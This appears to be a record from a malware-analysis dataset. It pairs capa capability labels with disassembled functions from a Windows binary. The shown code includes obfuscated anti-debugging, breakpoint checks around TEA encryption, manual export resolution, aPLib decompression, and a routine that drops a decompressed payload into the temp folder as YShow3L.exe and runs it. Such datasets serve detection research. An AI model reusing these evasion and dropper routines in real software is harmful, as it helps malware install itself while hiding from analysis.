joyce8/EMBER2024-capa huggingface dataset:
Function at 0xc8aec5
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov ax, sp
lea ebp, [eax*4]
mov bh, 0x22
jmp 0xc8ae85
cpuid
xchg word [esp + 7], si
mov ah, byte [esp + 0xa]
mov dh, bl
mov bp, 0x7c7f
xchg word [esp], cx
jmp 0xc8ad3e
push dx
rdtsc
bsf edx, edi
pop ecx
push dword [esp + 2]
bsr ecx, edi
jmp 0xc8ad54
mov ebp, edx
pop ax
mov word [esp + 2], bp
cpuid
pop dword [esp + 6]
jmp 0xc8adcf
inc si
sub esp, 0
mov bx, word [esp + 9]
setb ch
mov dword [esp + 0xb], eax
mov dx, word [esp + 3]
jmp 0xc8ad80
cpuid
lea esi, reloc.WINMM.dll_midiStreamOut
lea esp, [esp + 0x17]
xchg word [esp + 0x15], si
inc ebx
shl al, 1
jmp 0xc8ae15
rdtsc
stc
push dword [esp + 1]
mov dword [esp + 9], ebp
sub esp, 0x1e
mov ch, 0x5d
jmp 0xc8adae
lea edi, reloc.WINMM.dll_midiStreamOut
mov esi, ecx
mov ch, byte [esp + 0x11]
jmp 0xc8ae54
xchg word [esp + 0xa], bp
mov eax, 0x8a2d0040
xchg word [esp + 8], cx
bswap edx
mov ch, cl
jmp 0xc8ade1
add esp, 2
shr cx, 0
push dword [esp + 0xe]
mov bx, word [esp + 3]
mov byte [esp + 0x13], ch
mov dx, sp
jmp 0xc8adf7
bsf ebx, esi
pushfd
pop dword [esp + 0x10]
xchg ebx, esi
cpuid
pop word [esp + 0xf]
jmp 0xc8ae66
mov bp, word [esp + 0x16]
dec ax
cmc
add esp, 1
dec ch
mov cx, di
jmp 0xc8ae2e
mov dh, byte [esp + 0x16]
mov cx, word [esp + 5]
mov ebp, dword [esp + 7]
xchg edi, ebx
sub esp, 0x17
bswap ebx
jmp 0xc8ae9e
mov bp, 0x5874
xchg dword [esp + 8], ebp
push dword [esp + 0xa]
mov si, dx
push bx
sete ch
jmp 0xc8ad96
inc dx
bts ecx, ebx
xchg ebx, ebp
pop dword [esp + 0xc]
rdtsc
mov word [esp + 2], dx
jmp 0xc8aef6
mov eax, dword [esp + 0xc]
mov edx, dword [esp + 4]
rcr ebp, cl
pop dx
jmp 0xc8ad6f
mov ebp, dword [esp + 0x10]
mov dword [esp + 0x17], ebx
mov ecx, 0x19741a3a
popal
cpuid
shr ah, 2
jmp 0xc8af28
push word [esp + 9]
bsf cx, di
mov al, byte [esp + 0xa]
pop word [esp + 0x13]
push word [esp + 0x1b]
lea esi, [edi + ebp]
jmp 0xc8aed6
dec di
xchg bp, si
lea eax, [ebp*4]
xchg dx, ax
jmp 0xc8afbf
mov cx, 0x50e8
add esp, 0xc
bsf si, si
lea edx, [esp + ebx]
xchg byte [esp], ah
mov ecx, 0x7923ec93
jmp 0xc8af12
mov dl, 0xaf
push word [esp + 6]
bsf bx, cx
cpuid
cld
jmp 0xc8afa0
pop dword [esp + 0xf]
lea edx, [ecx + ebp]
push dword [esp + 8]
pop dword [esp + 7]
bswap ecx
ror edi, cl
jmp 0xc8af5f
setge bl
call fcn.00c8af8a
mov ch, dl
not bl
mov byte [esp + 1], dl
btc di, bp
pop cx
jmp 0xc8afe7
sub bh, 0xb0
mov ebp, esi
mov dx, 0x3a5c
pushal
mov al, dh
mov dh, byte [esp + 0x20]
jmp 0xc8af75
lea edx, reloc.WINMM.dll_midiStreamOut
mov di, word [esp]
stc
xchg byte [esp], bh
xchg bl, cl
call fcn.00c8afd1
sub esp, 5
xchg word [esp + 2], dx
mov edi, 0xf40b36d5
lea ecx, [eax - 0x31]
jmp 0xc8b021
btc ebp, ebx
mov dword [esp + 1], esi
lea esp, [esp]
call fcn.00c8b05b
dec eax
popal
jo 0xc8b088
imul edi, dword [edx + 0x65], reloc.WINMM.dll_midiStreamOut
int1

Function at 0xc8b0c1
Capabilities:
Execute anti-debugging instructions

Disassembly:
push dword [esp + 8]
pop dword [esp + 4]
bswap ecx
btr ebx, eax
jmp 0xc8b0e4
Function at 0xc8b94c
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov dword [esp + 6], edi
xchg byte [esp + 7], dh
lea ebx, [ebp + 0x77]
mov cl, byte [esp + 4]
jmp 0xc8b96d
push word [esp + 5]
mov dx, word [esp + 6]
mov edi, 0xfbe6465d
lea ebx, [eax + edi]
jmp 0xc8b9b2
xchg dword [esp + 6], esi
xchg byte [esp + 2], dl
xchg dword [esp + 5], edx
push si
jmp 0xc8bc9f
xchg word [esp + 9], si
lea esi, reloc.WINMM.dll_midiStreamOut
lea ebx, [ebp + 0x59]
jmp 0xc8b99c
Function at 0x4010bc
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
jmp 0x4010ce
mov eax, dword [0x41708b]
shl eax, 2
mov dword [0x41708f], eax
push edx
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov edx, eax
call fcn.00405474
pop edx
call fcn.00404810
call fcn.00405478
push 0
call fcn.00406748
pop ecx
push 0x417034
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov dword [0x417093], eax
push 0
jmp fcn.0040aa7c

Function at 0x401394
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffddc
mov eax, dword [0x45d170]
mov edx, dword [0x45d178]
lea ecx, [ebp - 0x224]
push ebx
push esi
push edi
mov esi, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov eax, dword [0x45d174]
mov dword [ebp - 8], eax
mov dword [ebp - 0x1c], edx
mov edx, dword [0x45d17c]
mov dword [0x46234c], 1
mov dword [ebp - 0x18], edx
push 0x208
push ecx
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0
push 0
push 3
push 0
push 3
push 0x80000000
lea eax, [ebp - 0x224]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4014d8
push 0
push ebx
call sub.KERNEL32.DLL_GetFileSize
mov edi, eax
push 2
push 0
push 0xfffffffffffffff8
push ebx
call sub.KERNEL32.DLL_SetFilePointer
lea eax, [ebp - 4]
push 0
push eax
lea edx, [ebp - 0x14]
push 8
push edx
push ebx
call sub.KERNEL32.DLL_ReadFile
test eax, eax
jne 0x401443
push ebx
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
jmp 0x4014da
push 8
lea edx, [ebp - 0x14]
push edx
lea ecx, [ebp - 0xc]
push ecx
call fcn.00405910
add esp, 0xc
test eax, eax
je 0x40145d
xor eax, eax
jmp 0x4014da
push 2
push 0
push 0xfffffffffffffff4
push ebx
call sub.KERNEL32.DLL_SetFilePointer
push 0
lea edx, [ebp - 4]
push edx
push 4
push esi
push ebx
call sub.KERNEL32.DLL_ReadFile
test eax, eax
jne 0x401486
push ebx
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
jmp 0x4014da
push 4
push 0x1000
mov edx, dword [esi]
push edx
push 0
call sub.KERNEL32.DLL_VirtualAlloc
mov dword [0x45d16c], eax
mov eax, edi
sub eax, dword [esi]
sub eax, 0xc
push 0
push 0
push eax
push ebx
call sub.KERNEL32.DLL_SetFilePointer
lea edx, [ebp - 4]
push 0
push edx
mov eax, dword [0x45d16c]
mov ecx, dword [esi]
push ecx
push eax
push ebx
call sub.KERNEL32.DLL_ReadFile
test eax, eax
jne 0x4014d1
push ebx
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
jmp 0x4014da
mov eax, 1
jmp 0x4014da
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4014e4
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffba8
push ebx
push esi
lea eax, [ebp - 0x458]
push eax
push 0x1ff
call sub.KERNEL32.DLL_GetTempPathA
push str.YShow3L.exe
lea edx, [ebp - 0x458]
push edx
call sub.KERNEL32.DLL_lstrcatA
push 4
push 0x1000
push 0x6000
push 0
call sub.KERNEL32.DLL_VirtualAlloc
mov ebx, eax
test ebx, ebx
jne 0x401531
xor eax, eax
jmp 0x4015f7
push ebx
push 0x4570a4
call fcn.0040cc7c
add esp, 8
lea edx, [ebp - 0x458]
push 0
push 0
push 2
push 0
push 3
push 0xc0000000
push edx
call sub.KERNEL32.DLL_CreateFileA
mov esi, eax
cmp esi, 0xffffffff
je 0x401579
push 0
lea eax, [ebp - 4]
push eax
push 0x6000
push ebx
push esi
call sub.KERNEL32.DLL_WriteFile
push esi
call sub.KERNEL32.DLL_CloseHandle
mov edx, dword [ebp + 8]
push edx
lea ecx, [ebp - 0x458]
push ecx
call sub.KERNEL32.DLL_lstrcatA
push 0x44
push 0
lea eax, [ebp - 0x48]
push eax
call fcn.00405794
add esp, 0xc
mov dword [ebp - 0x48], 0x44
mov dword [ebp - 0x1c], 1
mov word [ebp - 0x18], 1
push 0x10
push 0
lea edx, [ebp - 0x58]
push edx
call fcn.00405794
add esp, 0xc
lea ecx, [ebp - 0x58]
lea eax, [ebp - 0x48]
lea edx, [ebp - 0x458]
push ecx
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push edx
push 0
call sub.KERNEL32.DLL_CreateProcessA
test eax, eax
jne 0x4015e7
xor eax, eax
jmp 0x4015f7
push 0xffffffffffffffff
mov edx, dword [ebp - 0x58]
push edx
call sub.KERNEL32.DLL_WaitForSingleObject
mov eax, 1
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40344c
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov ebx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
movzx eax, word [eax + 0x14]
add eax, dword [ebp + 0xc]
add eax, 0x18
xor ecx, ecx
jmp 0x403480
mov edx, dword [eax + 8]
test edx, edx
jne 0x40346f
mov edx, dword [eax + 0x10]
mov esi, dword [eax + 0xc]
cmp ebx, esi
jb 0x40347c
add edx, esi
cmp ebx, edx
jb 0x40348d
inc ecx
add eax, 0x28
mov edx, dword [ebp + 0xc]
movzx edx, word [edx + 6]
cmp ecx, edx
jb 0x403465
xor eax, eax
pop esi
pop ebx
pop ebp
ret
Function at 0x4034c8
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
cmp word [edi], 0x5a4d
je 0x4034e2
xor eax, eax
jmp 0x403662
mov ebx, dword [edi + 0x3c]
add ebx, edi
cmp dword [ebx], 0x4550
je 0x4034f6
xor eax, eax
jmp 0x403662
cmp word [ebx + 0x14], 0xe0
jne 0x403506
cmp word [ebx + 0x18], 0x10b
je 0x40350d
xor eax, eax
jmp 0x403662
mov dword [0x462138], edi
mov ebx, dword [edi + 0x3c]
mov esi, edi
add ebx, esi
mov eax, dword [ebx + 0x78]
mov dword [ebp - 0x18], eax
push ebx
mov edx, dword [ebp - 0x18]
push edx
call fcn.0040344c
add esp, 8
test eax, eax
jne 0x403538
xor eax, eax
jmp 0x403662
mov edx, dword [0x462138]
push edx
push ebx
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.00403494
add esp, 0xc
mov ebx, dword [ebx + 0x78]
test ebx, ebx
jne 0x40356a
push 0x10
push 0
push str.Error_in_GetProcAddressDirectly__
push 0
call sub.USER32.DLL_MessageBoxA
xor eax, eax
jmp 0x403662
add ebx, esi
mov edx, dword [ebx + 0x24]
add edx, esi
mov dword [ebp - 4], edx
mov ecx, dword [ebx + 0x20]
add ecx, esi
mov dword [ebp - 0xc], ecx
mov eax, dword [ebx + 0x1c]
add eax, esi
mov dword [ebp - 8], eax
mov edx, dword [ebp + 0xc]
mov ecx, edx
shr ecx, 0x10
test cx, cx
je 0x403634
xor esi, esi
mov eax, dword [ebp - 8]
mov edx, eax
mov dword [ebp - 0x28], edx
jmp 0x403626
mov ecx, dword [ebp - 8]
mov eax, dword [ecx]
test eax, eax
je 0x403621
xor edx, edx
mov dword [ebp - 0x14], edx
mov ecx, dword [ebp - 0x28]
mov eax, ecx
mov dword [ebp - 0x24], eax
mov edx, dword [ebp - 0xc]
mov ecx, edx
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 4]
mov edx, eax
mov dword [ebp - 0x1c], edx
jmp 0x403618
mov ecx, dword [ebp - 0x1c]
movzx eax, word [ecx]
cmp esi, eax
jne 0x40360d
mov edx, dword [ebp - 0x20]
mov ecx, dword [edx]
add ecx, edi
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp + 0xc]
mov cl, byte [eax]
cmp cl, byte [edx]
jne 0x40360d
test cl, cl
je 0x403602
mov cl, byte [eax + 1]
cmp cl, byte [edx + 1]
jne 0x40360d
add eax, 2
add edx, 2
test cl, cl
jne 0x4035e6
jne 0x40360d
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
add eax, edi
jmp 0x403662
inc dword [ebp - 0x14]
add dword [ebp - 0x20], 4
add dword [ebp - 0x1c], 2
mov edx, dword [ebx + 0x18]
dec edx
cmp edx, dword [ebp - 0x14]
jae 0x4035cc
inc esi
add dword [ebp - 0x28], 4
mov ecx, dword [ebx + 0x14]
dec ecx
cmp esi, ecx
jbe 0x4035a4
jmp 0x403660
xor esi, esi
mov eax, dword [ebp - 8]
jmp 0x403658
mov ecx, dword [ebx + 0x10]
add ecx, esi
cmp edx, ecx
jne 0x403654
cmp dword [eax], 0
je 0x403654
mov edx, dword [eax]
shl edx, 6
add edi, edx
mov eax, edi
jmp 0x403662
inc esi
add eax, 4
mov ecx, dword [ebx + 0x14]
dec ecx
cmp esi, ecx
jbe 0x40363b
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403710
Capabilities:
Check for software breakpoints
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
push edi
mov eax, fcn.00401cc8
mov dword [ebp - 4], eax
mov esi, dword [ebp - 4]
mov al, byte [esi]
cmp al, 0xcc
je 0x4037c3
mov eax, fcn.004016fc
mov dword [ebp - 8], eax
mov esi, dword [ebp - 8]
mov al, byte [esi]
cmp al, 0xcc
je 0x4037c3
mov eax, fcn.004038b4
mov dword [ebp - 0xc], eax
mov esi, dword [ebp - 0xc]
mov al, byte [esi]
cmp al, 0xcc
je 0x4037c3
mov eax, dword [ebp + 8]
mov edx, dword [ebp + 8]
xor ebx, ebx
mov edi, 0x20
mov ecx, dword [eax + 4]
mov eax, dword [ebp + 0xc]
mov edx, dword [edx]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 4]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 8]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x1c], eax
jmp 0x4037c3
add ebx, 0x9e3779b9
mov eax, ecx
shl eax, 4
add eax, dword [ebp - 0x10]
lea esi, [ebx + ecx]
xor eax, esi
mov esi, ecx
shr esi, 5
add esi, dword [ebp - 0x14]
xor eax, esi
add edx, eax
mov eax, edx
shl eax, 4
add eax, dword [ebp - 0x18]
lea esi, [ebx + edx]
xor eax, esi
mov esi, edx
shr esi, 5
add esi, dword [ebp - 0x1c]
xor eax, esi
add ecx, eax
mov eax, edi
add edi, 0xffffffff
test eax, eax
jg 0x40378b
mov eax, dword [ebp + 8]
mov dword [eax], edx
mov edx, dword [ebp + 8]
mov dword [edx + 4], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4037e0
Capabilities:
Check for software breakpoints
Decrypt data using tea

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
push edi
mov eax, fcn.00401cc8
mov dword [ebp - 4], eax
mov esi, dword [ebp - 4]
mov al, byte [esi]
cmp al, 0xcc
je 0x403896
mov eax, fcn.004016fc
mov dword [ebp - 8], eax
mov esi, dword [ebp - 8]
mov al, byte [esi]
cmp al, 0xcc
je 0x403896
mov eax, fcn.004037e0
mov dword [ebp - 0xc], eax
mov esi, dword [ebp - 0xc]
mov al, byte [esi]
cmp al, 0xcc
je 0x403896
mov edx, dword [ebp + 8]
mov eax, dword [ebp + 8]
mov ebx, 0xc6ef3720
mov edi, 0x20
mov ecx, dword [edx]
mov edx, dword [eax + 4]
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 4]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 8]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x1c], eax
jmp 0x403896
mov eax, ecx
shl eax, 4
add eax, dword [ebp - 0x18]
lea esi, [ebx + ecx]
xor eax, esi
mov esi, ecx
shr esi, 5
add esi, dword [ebp - 0x1c]
xor eax, esi
sub edx, eax
mov eax, edx
shl eax, 4
add eax, dword [ebp - 0x10]
lea esi, [ebx + edx]
xor eax, esi
mov esi, edx
shr esi, 5
add esi, dword [ebp - 0x14]
xor eax, esi
sub ecx, eax
sub ebx, 0x9e3779b9
mov eax, edi
add edi, 0xffffffff
test eax, eax
jg 0x40385e
mov eax, dword [ebp + 8]
mov dword [eax], ecx
mov ecx, dword [ebp + 8]
mov dword [ecx + 4], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403904
Capabilities:
Check for software breakpoints
Decrypt data using tea

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
push edi
mov eax, fcn.00401cc8
mov dword [ebp - 4], eax
mov esi, dword [ebp - 4]
mov al, byte [esi]
cmp al, 0xcc
je 0x4039ba
mov eax, fcn.004016fc
mov dword [ebp - 8], eax
mov esi, dword [ebp - 8]
mov al, byte [esi]
cmp al, 0xcc
je 0x4039ba
mov eax, fcn.004038b4
mov dword [ebp - 0xc], eax
mov esi, dword [ebp - 0xc]
mov al, byte [esi]
cmp al, 0xcc
je 0x4039ba
mov edx, dword [ebp + 8]
mov eax, dword [ebp + 8]
mov ebx, 0xc6ef3720
mov edi, 0x20
mov ecx, dword [edx]
mov edx, dword [eax + 4]
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 4]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 8]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x1c], eax
jmp 0x4039ba
mov eax, ecx
shl eax, 4
add eax, dword [ebp - 0x18]
lea esi, [ebx + ecx]
xor eax, esi
mov esi, ecx
shr esi, 5
add esi, dword [ebp - 0x1c]
xor eax, esi
sub edx, eax
mov eax, edx
shl eax, 4
add eax, dword [ebp - 0x10]
lea esi, [ebx + edx]
xor eax, esi
mov esi, edx
shr esi, 5
add esi, dword [ebp - 0x14]
xor eax, esi
sub ecx, eax
sub ebx, 0x9e3779b9
mov eax, edi
add edi, 0xffffffff
test eax, eax
jg 0x403982
mov eax, dword [ebp + 8]
mov dword [eax], ecx
mov ecx, dword [ebp + 8]
mov dword [ecx + 4], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405168
Capabilities:
Get memory capacity

Disassembly:
add esp, 0xffffffe0
mov dword [esp], 0x20
push esp
call sub.KERNEL32.DLL_GlobalMemoryStatus
mov eax, dword [esp + 0xc]
add esp, 0x20
ret

Function at 0x409b00
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
mov eax, dword [ebp + 8]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov ebx, eax
test eax, eax
je 0x409b62
call fcn.00409ab0
mov esi, eax
lea eax, [ebp - 4]
push 0
push eax
push esi
call fcn.00405838
pop ecx
push eax
push esi
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea edx, [ebp - 4]
push edx
push edi
call fcn.00405838
pop ecx
push eax
push edi
push ebx
call sub.KERNEL32.DLL_WriteFile
push ebx
call sub.KERNEL32.DLL_CloseHandle
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret

Function at 0x409bc0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff7c
cmp dword [0x45ff4c], 0
push ebx
push esi
mov esi, dword [ebp + 8]
jne 0x409c9a
cmp dword [0x45ff48], 0
jne 0x409c9a
cmp dword [0x46013c], 0
je 0x409c54
push 0x80
lea eax, [ebp - 0x84]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0x5c
lea edx, [ebp - 0x84]
push edx
call fcn.004099b0
add esp, 8
mov ebx, eax
test eax, eax
jne 0x409c3a
push 0x3a
lea edx, [ebp - 0x84]
push edx
call fcn.004099b0
add esp, 8
mov ebx, eax
test eax, eax
jne 0x409c3a
lea ebx, [ebp - 0x84]
jmp 0x409c3b
inc ebx
call fcn.00409b7c
or eax, 0x10010
push eax
push ebx
push esi
push 0
call sub.USER32.DLL_MessageBoxA
jmp 0x409cd5
push 0xfffffffffffffff4
call sub.KERNEL32.DLL_GetStdHandle
mov ebx, eax
lea eax, [ebp - 4]
push 0
push eax
push 2
push 0x45ff50
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea edx, [ebp - 4]
push edx
push esi
call fcn.00405838
pop ecx
push eax
push esi
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea ecx, [ebp - 4]
push ecx
push 2
push 0x45ff53
push ebx
call sub.KERNEL32.DLL_WriteFile
jmp 0x409cd5
cmp dword [0x45ff48], 0
je 0x409cb4
cmp dword [0x45ff48], 0xffffffff
je 0x409cd5
push esi
call dword [0x45ff48]
pop ecx
mov eax, dword [0x45ff4c]
test eax, eax
je 0x409cd5
cmp dword [0x45ff4c], 0xffffffff
je 0x409cd5
cmp byte [eax], 0
je 0x409cd5
push esi
push eax
call fcn.00409b00
add esp, 8
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40a4c0
Capabilities:
Query environment variable

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
cmp dword [0x462bd0], 0
jne 0x40a541
cmp dword [0x462bf0], 0
jne 0x40a4f0
call sub.KERNEL32.DLL_GetEnvironmentStrings
mov dword [0x462bf0], eax
test eax, eax
jne 0x40a4f0
push str.GetEnvironmentStrings_failed
call fcn.00409cec
pop ecx
xor ebp, ebp
xor esi, esi
mov ebx, dword [0x462bf0]
jmp 0x40a504
lea eax, [edi + 1]
inc esi
add ebp, eax
add ebx, eax
push ebx
call fcn.00405838
pop ecx
mov edi, eax
test eax, eax
jne 0x40a4fc
lea edi, [ebp + 1]
push edi
call fcn.00404720
pop ecx
mov ebx, eax
mov dword [0x462bd4], ebx
test ebx, ebx
jne 0x40a52e
xor eax, eax
jmp 0x40a604
push edi
mov edx, dword [0x462bf0]
push edx
push ebx
call fcn.00405724
add esp, 0xc
jmp 0x40a561
xor esi, esi
mov ebx, dword [0x462bd0]
jmp 0x40a55b
push eax
call fcn.00405838
pop ecx
test eax, eax
jne 0x40a557
dec esi
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x40a54b
lea ebx, [esi + 4]
push 4
mov dword [0x462bd8], ebx
inc ebx
push ebx
call fcn.00404284
add esp, 8
test eax, eax
mov dword [esp], eax
jne 0x40a584
xor eax, eax
jmp 0x40a604
cmp dword [0x462bd0], 0
jne 0x40a5b5
xor esi, esi
mov ebx, dword [0x462bd4]
mov eax, dword [esp]
mov ebp, eax
jmp 0x40a5a6
mov dword [ebp], ebx
add ebp, 4
inc esi
inc edi
add ebx, edi
push ebx
call fcn.00405838
pop ecx
mov edi, eax
test eax, eax
jne 0x40a59c
jmp 0x40a5e6
xor esi, esi
mov ebx, dword [0x462bd0]
mov eax, dword [esp]
mov edi, eax
jmp 0x40a5e0
push eax
call fcn.00405838
pop ecx
test eax, eax
je 0x40a5d5
mov eax, dword [ebx]
mov dword [edi], eax
jmp 0x40a5d9
dec esi
add edi, 0xfffffffc
add edi, 4
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x40a5c4
mov eax, dword [0x462bd0]
test eax, eax
je 0x40a5f6
push eax
call fcn.00404730
pop ecx
mov edx, dword [esp]
mov eax, 1
mov dword [0x462bd0], edx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x40c8b8
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov ecx, dword [esp + 0x28]
mov edi, 0x4609d0
sub eax, eax
test esi, esi
je 0x40c998
sub eax, 1
test ecx, ecx
je 0x40c996
test esi, 3
je 0x40c8f6
xor al, byte [esi]
inc esi
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x40c8db
mov edx, ecx
and edx, 7
shr ecx, 3
je 0x40c97d
xor eax, dword [esi]
add esi, 4
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
xor eax, dword [esi]
add esi, 4
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x40c904
mov ecx, edx
test ecx, ecx
je 0x40c996
xor al, byte [esi]
inc esi
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x40c983
not eax
mov dword [esp + 0x1c], eax
popal
ret
Function at 0x40cc7c
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, 0x80
xor ebx, ebx
movsb byte es:[edi], byte [esi]
mov bl, 2
call fcn.0040ccff
jae 0x40cc8a
xor ecx, ecx
call fcn.0040ccff
jae 0x40ccb9
xor eax, eax
call fcn.0040ccff
jae 0x40ccc9
mov bl, 2
inc ecx
mov al, 0x10
call fcn.0040ccff
adc al, al
jae 0x40ccab
jne 0x40ccf5
stosb byte es:[edi], al
jmp 0x40cc8d
call fcn.0040cd0b
sub ecx, ebx
jne 0x40ccd2
call fcn.0040cd09
jmp 0x40ccf1
lodsb al, byte [esi]
shr eax, 1
je 0x40cd1b
adc ecx, ecx
jmp 0x40ccee
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
call fcn.0040cd09
cmp eax, 0x7d00
jae 0x40ccee
cmp ah, 5
jae 0x40ccef
cmp eax, 0x7f
ja 0x40ccf0
inc ecx
inc ecx
xchg ebp, eax
mov eax, ebp
mov bl, 1
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x40cc8d
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret